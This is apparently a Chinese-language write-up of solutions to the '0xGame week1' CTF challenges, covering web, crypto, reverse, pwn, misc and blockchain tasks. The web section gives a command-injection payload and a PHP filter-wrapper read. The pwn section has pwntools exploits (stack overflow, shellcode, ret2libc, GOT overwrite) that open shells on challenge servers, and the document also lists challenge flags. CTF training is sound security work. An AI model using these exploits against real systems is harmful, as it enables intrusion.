0xGame_week1

web

signin

F12,点击源代码/来源,查看js文件,即可得到flag。

ping

查看源码,看到提示。

按照提示访问/api.php?source,即可得到源码 。

<?php

function sanitize($s) {
$s = str_replace(';', '', $s);
$s = str_replace(' ', '', $s);
$s = str_replace('/', '', $s);
$s = str_replace('flag', '', $s);
return $s;
}

if (isset($_GET['source'])) {
highlight_file(__FILE__);
die();
}

if (!isset($_POST['ip'])) {
die('No IP Address');
}

$ip = $_POST['ip'];

$ip = sanitize($ip);

if (!preg_match('/((\d{1,2}|1\d\d|2[0-4]\d|25[0-5])\.){3}(\d{1,2}|1\d\d|2[0-4]\d|25[0-5])/', $ip)) {
die('Invalid IP Address');
}

system('ping -c 4 '.$ip. ' 2>&1');

?>

由源码可知,过滤了flag; 空格( )/

使用 回车(%0a) 代替;截断命令。用 tab(%09) 代替空格,使用cd命令一直跳转到根目录即可查看flag。

ip=127.0.0.1%0acd%09..%0acd%09..%0acd%09..%0acat%09f*%0a

baby_php

源码

<?php
// flag in flag.php
highlight_file(__FILE__);

if (isset($_GET['a']) && isset($_GET['b']) && isset($_POST['c']) && isset($_COOKIE['name'])) {
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_POST['c'];
$name = $_COOKIE['name'];

if ($a != $b && md5($a) == md5($b)) {
if (!is_numeric($c) && $c != 1024 && intval($c) == 1024) {
include($name.'.php');
}
}
}
?>

用数组绕md5,用小数+字符绕过if (!is_numeric($c) && $c != 1024 && intval($c) == 1024),用伪协议读flag.php,base64解码后即可得到flag。

get: url/?a[]=1&b[]=2
post: c=1024.11a
cookie: name=php://filter/read=convert.base64-encode/resource=flag

hello_http

  1. get传query=ctf;

  2. post传action=getflag;

  3. cookie传role=admin

  4. 添加X-Forwarded-For: 127.0.0.1;

  5. 修改User-AgentHarmonyOS Browser

  6. 添加Referer: ys.mihoyo.com

repo_leak

dirsearch扫描,发现有.git泄露。

使用 GitHack 下载源码。

然后进入dist/124.71.184.68_50013,打开终端,输入git log,可以看到历史版本。

输入git show,即可找到flag。

crypto

BabyRSA

源码

from Crypto.Util.number import *
from random import getrandbits
from secret import flag

def getN():
N = 1
for i in range(16):
tmp = getPrime(32)
N *= tmp
return N

mask = getrandbits(256)
e = 65537
n = getN()
m = bytes_to_long(flag)
c = pow(m*mask,e,n)
print(f'n = {n}')
print(f'e = {e}')
print(f'c = {c}')
print(f'mask = {mask}')


'''
n = 93099494899964317992000886585964221136368777219322402558083737546844067074234332564205970300159140111778084916162471993849233358306940868232157447540597
e = 65537
c = 54352122428332145724828674757308827564883974087400720449151348825082737474080849774814293027988784740602148317713402758353653028988960687525211635107801
mask = 54257528450885974256117108479579183871895740052660152544049844968621224899247
'''

在线网站 分解n。

得到pq后带入常规脚本中解密。

import gmpy2
from Crypto.Util.number import long_to_bytes

n=93099494899964317992000886585964221136368777219322402558083737546844067074234332564205970300159140111778084916162471993849233358306940868232157447540597

e = 65537

pq=[2329990801,2436711469,2732757047,2770441151,2821163021,2864469667,2995527113,3111632101,3162958289,3267547559,3281340371,3479527847,3561068417,3978177241,4134768233,4160088337]
c=54352122428332145724828674757308827564883974087400720449151348825082737474080849774814293027988784740602148317713402758353653028988960687525211635107801

mask = 54257528450885974256117108479579183871895740052660152544049844968621224899247
phi = 1
for i in pq:
phi*=(i-1)
d = gmpy2.invert(e, phi)
m1 = pow(c, d, n)
flag = long_to_bytes(m1//mask)
print(flag)
#b'0xGame{Magic_M@th_Make_Crypt0}'

Vigenere

密文

0dGmqk{79ap4i0522g0a67m6i196he52357q60f} 

根据flag头是0xGame,反推出密钥是game,最后找一个在线网站解密即可得到flag。

密码,觅码,先有*再密

源码

from secret import flag #从中导入秘密的flag,这是我们要破解的信息
from Crypto.Util.number import bytes_to_long #从函数库导入一些编码函数
from base64 import b64encode

#hint:也许下列函数库会对你有些帮助,但是要怎么用呢……
from base64 import b64decode
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes

flag = flag.encode()
lent = len(flag)
flag = [flag[i*(lent//4):(i+1)*(lent//4)] for i in range(4)]#将flag切割成四份

c1 = bytes_to_long(flag[0])
c2 = ''.join([str(bin(i))[2:] for i in flag[1]])
c3 = b64encode(flag[2])
c4 = flag[3].hex()
print(f'c1?= {pow(c1,5)}\nc2 = {c2}\nc3 = {c3}\nc4 = {c4}')

'''
c1?= 2607076237872456265701394408859286660368327415582106508683648834772020887801353062171214554351749058553609022833985773083200356284531601339221590756213276590896143894954053902973407638214851164171968630602313844022016135428560081844499356672695981757804756591891049233334352061975924028218309004551
c2 = 10010000100001101110100010100111101000111110010010111010100001101110010010111111101000011110011010000001101011111110011010011000101011111110010110100110100000101110010010111101100101011110011110111100
c3 = b'lueggeeahO+8jOmCo+S5iOW8gOWni+aIkQ=='
c4 = e4bbace79a8443727970746fe68c91e68898e590a72121217d
'''
#全是乱码,那咋办嘛?

根据源码,我们要先将c1开5次方再转成bytes,c2以8位长度位基准分割出字符,c3进行base64解码,c4进行hex解码,然后拼接起来再decode解码即可得到flag。

脚本:

# -*- coding: utf-8 -*-
from base64 import b64decode
from gmpy2 import iroot
from Crypto.Util.number import long_to_bytes
c1= 2607076237872456265701394408859286660368327415582106508683648834772020887801353062171214554351749058553609022833985773083200356284531601339221590756213276590896143894954053902973407638214851164171968630602313844022016135428560081844499356672695981757804756591891049233334352061975924028218309004551
c2 = "10010000100001101110100010100111101000111110010010111010100001101110010010111111101000011110011010000001101011111110011010011000101011111110010110100110100000101110010010111101100101011110011110111100"
c3 = b'lueggeeahO+8jOmCo+S5iOW8gOWni+aIkQ=='
c4 = "e4bbace79a8443727970746fe68c91e68898e590a72121217d"

def bin_to_hex(c):
m = len(c)//8
flag=""
for i in range(m):
str1=c[i*8:i*8+8]
a = int(str1,2)
flag+=hex(a)[2:]
#print(i,hex(a)[2:])
#print(i,str1)

return flag

a2=bin_to_hex(c2)
c11=iroot(c1,5)

flag=long_to_bytes(int(c11[0]))+bytes.fromhex(a2)+b64decode(c3)+bytes.fromhex(c4)
print(flag.decode())

What’s CBC?

源码

from Crypto.Util.number import *
from secret import flag,key

def bytes_xor(a,b):
a,b=bytes_to_long(a),bytes_to_long(b)
return long_to_bytes(a^b)

def pad(text):
if len(text)%8:
return text
else:
pad = 8-(len(text)%8)
text += pad.to_bytes(1,'big')*pad
return text

def Encrypt_CBC(text,iv,key):
result = b''
text = pad(text)
block=[text[_*8:(_+1)*8] for _ in range(len(text)//8)]
for i in block:
tmp = bytes_xor(iv,i)
iv = encrypt(tmp,key)
result += iv
return result

def encrypt(text,key):
result = b''
for i in text:
result += ((i^key)).to_bytes(1,'big')
return result

iv = b'11111111'

enc = (Encrypt_CBC(flag,iv,key))
print(f'enc = {enc}')

#enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"

分析源码,可以知道这里面缺少了key

Encrypt_CBC是先将flag分成长度为8的多个字符串,然后再单独处理。每一个字符串先bytes_xor(iv,i),再encrypt(tmp,key)并更新iv,新的iv是加密后的字符,最后再拼接起来。

bytes_xor是将部分flagiv异或。

encrypt函数是将text的每一位的值都与key异或,由此推断出key是一个数字。

使用flag头0xGame{}可以推断出key为143.

解密脚本:

from Crypto.Util.number import *

def bytes_xor(a,b):
a,b=bytes_to_long(a),bytes_to_long(b)
return long_to_bytes(a^b)

def decrypt(text,key):
result = b''
for i in text:
result += ((i^key)).to_bytes(1,'big')
return result

def decrypt_CBC(text,iv,key):
result = b''
#text = pad(text)
block=[text[_*8:(_+1)*8] for _ in range(len(text)//8)]
print(block)
for i in block:
iv1 = decrypt(i,key)
tmp = bytes_xor(iv,iv1)
result += tmp
iv=i
return result

iv = b'11111111'
key=143
enc = b"\x8e\xc6\xf9\xdf\xd3\xdb\xc5\x8e8q\x10f>7.5\x81\xcc\xae\x8d\x82\x8f\x92\xd9o'D6h8.d\xd6\x9a\xfc\xdb\xd3\xd1\x97\x96Q\x1d{\\TV\x10\x11"
print(len(enc))
flag = decrypt_CBC(enc,iv,key)
print(flag)
#b'0xGame{098f6bcd4621d373cade4e832627b4f6}\x08\x08\x08\x08\x08\x08\x08\x08'

猜谜

源码

from secret import flag,key
from Crypto.Util.number import *

def dec(text):
text = text.decode()
code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
unpad = 0
tmp = ''
if (text[-1] == '=') & (text[-2:] != '=='):
text = text[:-1]
unpad = -1
if text[-2:] == '==':
text = text[:-2]
unpad = -2
for i in text:
tmp += str(bin(code.index(i)))[2:].zfill(3)
tmp = tmp[:unpad]
result = long_to_bytes(int(tmp,2))
return result

def enc(text):
code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
text = ''.join([str(bin(i))[2:].zfill(8) for i in text])
length = len(text)
pad = b''
if length%3 == 1:
text += '00'
pad = b'=='
elif length%3 == 2:
text += '0'
pad = b'='
result = [code[int(text[3*i:3*(i+1)],2)] for i in range(0,len(text)//3)]
return ''.join(result).encode()+pad

def encrypt(flag):
result = b''
for i in range(len(flag)):
result += (key[i%7]^(flag[i]+i)).to_bytes(1,'big')
return result


c = enc(encrypt(flag))
print(f'c = {c}')

'''
c = b'IPxYIYPYXPAn3nXX3IXA3YIAPn3xAYnYnPIIPAYYIA3nxxInXAYnIPAIxnXYYYIXIIPAXn3XYXIYAA3AXnx='
'''

没有密钥,拿flag头0xGame{去推。

(key[i%7]^(flag[i]+i))可以知道key的长度是7 。

源码自带了dec的源码,不用纠结enc了。

分析encrypt,可以知道加密过程是移位+异或

解密脚本

from Crypto.Util.number import *
def dec(text):
text = text.decode()
code = 'AP3IXYxn4DmwqOlT0Q/JbKFecN8isvE6gWrto+yf7M5d2pjBuk1Hh9aCRZGUVzLS'
unpad = 0
tmp = ''
if (text[-1] == '=') & (text[-2:] != '=='):
text = text[:-1]
unpad = -1
if text[-2:] == '==':
text = text[:-2]
unpad = -2
for i in text:
tmp += str(bin(code.index(i)))[2:].zfill(3)
tmp = tmp[:unpad]
result = long_to_bytes(int(tmp,2))
return result

c = b'IPxYIYPYXPAn3nXX3IXA3YIAPn3xAYnYnPIIPAYYIA3nxxInXAYnIPAIxnXYYYIXIIPAXn3XYXIYAA3AXnx='
c = dec(c)
#print(c)

#求key
def getkey(flag):
key=b''
result=b'0xGame{'
for i in range(len(result)):
key+=((flag[i]^(result[i]+i))).to_bytes(1,'big')
return key

key = getkey(c)
#print(key)

def decrypt(enc):
result = b''
for i in range(len(enc)):
a = (key[i%7]^(enc[i]))-i
result += a.to_bytes(1,'big')
return result

flag = decrypt(c)
print(flag)
#b'0xGame{Kn0wn_pl@intext_Att@ck!}'

Take my bag!

源码:

from Crypto.Util.number import *
from secret import flag

def encrypt(m):
m = str(bin(m))[2:][::-1]
enc = 0
for i in range(len(m)):
enc += init[i] * int(m[i]) % n
return enc

w = getPrime(64)
n = getPrime(512)
init = [w*pow(3, i) % n for i in range(512)]

c = encrypt(bytes_to_long(flag))

print(f'w={w}')
print(f'n={n}')
print(f'c={c}')

'''
w=16221818045491479713
n=9702074289348763131102174377899883904548584105641045150269763589431293826913348632496775173099776917930517270317586740686008539085898910110442820776001061
c=4795969289572314590787467990865205548430190921556722879891721107719262822789483863742356553249935437004378475661668768893462652103739250038700528111
'''

背包密码。

参考:

  1. https://blog.csdn.net/m0_62506844/article/details/125795366
  2. https://blog.csdn.net/sorryagain/article/details/125067778

解题脚本(sage):

import random
from collections import namedtuple
import gmpy2
from Crypto.Util.number import isPrime, bytes_to_long, inverse, long_to_bytes
from sympy import nextprime
from tqdm import tqdm



w=16221818045491479713
n=9702074289348763131102174377899883904548584105641045150269763589431293826913348632496775173099776917930517270317586740686008539085898910110442820776001061
c=4795969289572314590787467990865205548430190921556722879891721107719262822789483863742356553249935437004378475661668768893462652103739250038700528111
pubkey=[w*pow(3, i) % n for i in range(512)]
#print(len(pubkey))
#272
nbit=512
#随机找一个符合条件的N
N=nextprime(gmpy2.iroot(nbit,2)[0]//2)
L=Matrix(QQ,nbit + 1, nbit + 1)
#构造矩阵L
for i in range(nbit):
L[i,i]=1

for i in range(nbit):
L[i,nbit]=pubkey[i]*N

for i in range(nbit):
L[nbit,i]=1/2

L[nbit,nbit]=c*N


print("LLL start")
res=L.LLL()

for i in tqdm(range(0, nbit + 1)):
# print solution
M = res.row(i).list()[:-1]#最后面密文恢复后变成0
flag = True
for m in M:
if m != 1/2 and m != -1/2:#根据破解原理,恢复的明文应只包含-1/2和1/2
flag = False
break
if flag:
mm=""
print (i, M)
for j in M:
if j==-1/2:#不确定-1/2和1/2哪个代表二进制1
mm+="1"
else:
mm+="0"
flag=mm[::-1]
print(long_to_bytes(int(flag,2)))
#b'0xGame{Welc0me_2_Crypt0_G@me!#$&%}'

reverse

数字筑基

ida32打开即可在main函数看到flag。

代码金丹

同样ida32打开在main函数看到flag。

网络元婴

ida64打开在main函数看到flag。

虚拟化神

先运行一次程序,会生成一个config.txt的文件,修改config.txt01,再运行一次即可得到flag。

赛博天尊

ida64打开,查看main函数。

很显然需要用z3来解方程。

先安装z3。

pip install pip install z3_solver

之后就写脚本解方程,将得到的结果拼接起来,得到flag。

from z3 import *

v7, v8, v9, v10, v11 = Ints('v7 v8 v9 v10 v11')
s = Solver()
s.add(7 * v9 + 5 * (v8 + v11) + 2 * (v10 + 4 * v7) == 0x12021DE669FC2)
s.add(v8 + 2 * (v9 + v10 + 2 * v10 + 2 * (v11 + v7)) + (v9 + v10 + 2 * v10 + 2 * (v11 + v7)) == 0x159BFFC17D045)
s.add(v10 + v9 + v11 + 2 * v9 + 2 * (v9 + v11 + 2 * v9) + 2 * (v8 + 4 * v7) == 0xACE320D12501)
s.add(v8 + 2 * (v7 + v11 + v9 + 2 * v10) == 0x733FFEB3A4FA)
s.add(v8 + 7 * v11 + 8 * (v9 + v10) + 5 * v7 == 0x1935EBA54EB28)


if s.check() == sat:
print(s.model())
"""
[v11 = 63356652901730,
v7 = 2693650760,
v10 = 41791,
v9 = 16488,
v8 = 14810]
"""

v11 = 63356652901730
v7 = 2693650760
v10 = 41791
v9 = 16488
v8 = 14810

flag="0xGame{"+hex(v7)[2:]+'-'+hex(v8)[2:]+'-'+hex(v9)[2:]+'-'+hex(v10)[2:]+'-'+hex(v11)[2:]+"}"
print(flag)
#0xGame{a08dd948-39da-4068-a33f-399f5eca5562}

pwn

找不到且不对劲的flag

nc 连接,然后ls -la,可以看到有一个.secret的文件夹,flag就在那个文件夹里。

永远进不去的后门

简单的栈溢出,找到后门的地址直接跳过去就行了。

exp:

from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
#sh = process('./ret2text')
sh = remote('8.130.35.16', 51002)

payload = b'a'*0x40 + b'a'*8 + p64(0x401298)

sh.recvuntil(b'Tell me sth interesting, and I will give you what you want.\n')
sh.sendline(payload)

sh.interactive()

随便乱搞的shellcode

没有后门函数,程序会将buf[rand()%256]的部分当成代码执行,因此我们需要控制shellcode在这里。

close(1);,所以要来上一个exec 1>&0

exp:

from pwn import *
from ctypes import *
import time

context(os = 'linux',arch = 'amd64',log_level = 'debug')
#cal = process('./ret2shellcode')
cal = remote('8.130.35.16', 51003)
elf = cdll.LoadLibrary('libc.so.6')
elf.srand(int(time.time()))
off = elf.rand()
sc = asm(shellcraft.sh())
payload = b'a'*(off%256) + sc
cal.sendlineafter(b"code:",payload)
cal.sendline(b'exec 1>&0')

cal.interactive()

我后门呢?

参考链接:

  1. https://blog.csdn.net/weixin_45943522/article/details/120469196
  2. https://blog.csdn.net/Mintind/article/details/128165311
  3. https://libc.blukat.me/

ROPgadgetridret的地址。

泄露出puts的地址。

from pwn import *

#p = process('./ret2libc')
p = remote('8.130.35.16', 51005)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./ret2libc')

pop_rdi = 0x401333
ret = 0x40101a

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]

payload1 = '\x00'+'a'*(0x20 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter('input:\n', payload1)

print(p.recvline()) #p.recvuntil('\x0a')
puts_addr = p.recv(6)
print(puts_addr)
puts_addr = puts_addr.ljust(8, b'\x00')
print(puts_addr)
puts_addr = u64(puts_addr)
#puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(puts_addr)
print(hex(puts_addr))

p.interactive()
# 0x7f79a6363420

然后用 libc database searchsystem/bin/sh 的地址。

最后用puts算出基地址,在第二次栈溢出时getshell

exp:

from pwn import *

#p = process('./ret2libc')
p = remote('8.130.35.16', 51005)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./ret2libc')

pop_rdi = 0x401333
ret = 0x40101a

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]

payload1 = '\x00'+'a'*(0x20 + 7) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter('input:\n', payload1)

print(p.recvline()) #p.recvuntil('\x0a')
puts_addr = p.recv(6)
print(puts_addr)
puts_addr = puts_addr.ljust(8, b'\x00')
print(puts_addr)
puts_addr = u64(puts_addr)
#puts_addr = u64(p.recv(6).ljust(8, b'\x00'))
print(puts_addr)
print(hex(puts_addr))



sys_offset = 0x052290
puts_offset = 0x084420
sh_offset = 0x1b45bd


libc_base = puts_addr - puts_offset
binsh = libc_base + sh_offset
system = libc_base + sys_offset

payload = '\x00' + 'a'*(0x20+0x8-1)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter('input:\n', payload)

p.interactive()

高端的syscall

同样拿ret2libc打的。

exp:

from pwn import *

#p = process('./ret2syscall')
p = remote('8.130.35.16', 51004)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./ret2syscall')

pop_rdi = 0x4012e3
ret = 0x40101a

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
payload1 = 'a'*(0x10 + 8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_addr)

p.sendlineafter('Input: \n', payload1)

puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts_addr))

sys_offset = 0x052290
puts_offset = 0x084420
sh_offset = 0x1b45bd


libc_base = puts_addr - puts_offset
binsh = libc_base + sh_offset
system = libc_base + sys_offset

payload = 'a'*(0x10+0x8)
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)
p.sendlineafter('Input: \n', payload)

p.interactive()

字符串和随机数

  1. 通过将name填充满,把seed泄露出来。
  2. pass需要以\x00结尾。
  3. 泄露出seed后要先把seed逆序,再转成10进制数。(踩到的坑)

exp:

from pwn import *
from ctypes import *

p = process('./pwn')
#p = remote('8.130.35.16', 51001)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf=cdll.LoadLibrary("libc.so.6")

p.sendlineafter('Name: ',"adminaaaaaaaaaaaaaaaaaaaaaaaaaa")
p.sendlineafter('Password: ',"1s_7h1s_p9ss_7tuIy_sAf3?\x00")
p.recvuntil('Welcome back, adminaaaaaaaaaaaaaaaaaaaaaaaaaa\n')
a = p.recv(4)[::-1]
seed = ""
for i in a:
aa = hex(ord(i))[2:]
if len(aa)==1:
aa='0'+aa
seed +=aa
print(seed)
seed = int(seed,16)
elf.srand(seed)
v3 = elf.rand()
v2 = elf.rand()
v3 = v3 ^ 0xD0E0A0D0
v2 = v2 ^ 0xB0E0E0F
v1 = (v3^v2)%0xF4240
p.sendlineafter('Wanna see it?','y')
p.sendlineafter('continue: ',str(v1))

p.interactive()

got-it

数组溢出修改got表。

思路:修改got表,将exit的地址改成system的地址,之后让v3==8227,即可getshell。

先泄露出puts的地址。通过ida可以看到,list数组的地址为0x4040A0exit的地址为0x404048puts的地址为0x404018

通过计算,(0x4040A0 - 0x404018)/8 = 17(0x4040A0 - 0x404048)/8 = 11 。根据这些,可以直接读list[-17]puts的真实地址读出来,然后去算出libc的基地址,再根据基地址算出system的真实地址,之后在list[-11]处将exit的地址改成system的地址。

exp:

from pwn import *

#p = process('./got-it')
p = remote('8.130.35.16', 51006)
context(os = 'linux', arch = 'amd64', log_level = 'debug')
elf = ELF('./got-it')

p.sendlineafter('>>','2')
p.sendlineafter('Input student id:','-17')
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print(hex(puts_addr))

sys_offset = 0x052290
puts_offset = 0x084420

libc_base = puts_addr - puts_offset
system = libc_base + sys_offset

p.sendlineafter('>>','1')
p.sendlineafter('Input student id:','-11')
p.sendafter('Input student name:',p64(system))
p.sendlineafter('>>','8227')


p.interactive()

misc

SignIn

先base64解码再base32解码,得到flag。

shark shark

wireshark打开,发现有一堆TCP的数据。

用记事本打开,可以看到这里有一串16进制的数据,是一个zip压缩包。

提取出来后,发现压缩包是加密的。

最后追踪rcp流,得到密码。

解压文件后即可得到flag。

least and most

Stegsolve打开文件,查看最低位能看到flag的前半。

查看最高位能看到flag的后半。

重生之我在教学楼打cs

hint:

下载一个BSPViewer,下载地址:https://www.jb51.net/softs/644965.html

BSPViewer打开文件,找到那个鼎,在鼎的最下角找到flag。

hide and seek

由题目描述和提示可以知道这个jpg文件用了steghide来隐写,但不知道密钥。使用stegseek搭配上kali的rockyou字典来爆破密钥。

爆破出密钥后即可得到flag。

another signin

区块链签到题。

参考视频:【CTF】区块链–合约题入门操作 区块链题型简介 水龙头的对比 remixIDE的基本使用 1——NewStarCTF

基本跟着视频做就行了。

先安装好小狐狸metamask

在小狐狸中添加rpc,也就是合约网络,网络内容如下。

nc 连接,先 1 创建一个账户,然后用小狐狸转账0.001,接着 2 查看创建是否成功,成功后会返回类似下面的信息。

查看 4 ,获取源码。

// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;

contract Greeter {
string greeting;

constructor(string memory _greeting) {
greeting = _greeting;
}

function greet() public view returns (string memory) {
return greeting;
}

function setGreeting(string memory _greeting) public {
greeting = _greeting;
}

function isSolved() public view returns (bool) {
string memory expected = "Love0xGame";
return keccak256(abi.encodePacked(expected)) == keccak256(abi.encodePacked(greeting));
}
}

使用 在线网站 编写合约。

exp:

contract exp{
address transcation= 0x4Bc4FC689aEA6D588B2cad1F4213430bf3Cea410;
Greeter target=Greeter(transcation);
constructor()payable{}
function hack() public returns(bool){
bool ans=false;
string memory greeting="Love0xGame";
target.setGreeting(greeting);
ans=target.isSolved();
return ans;
}
}

攻击后即可得到flag。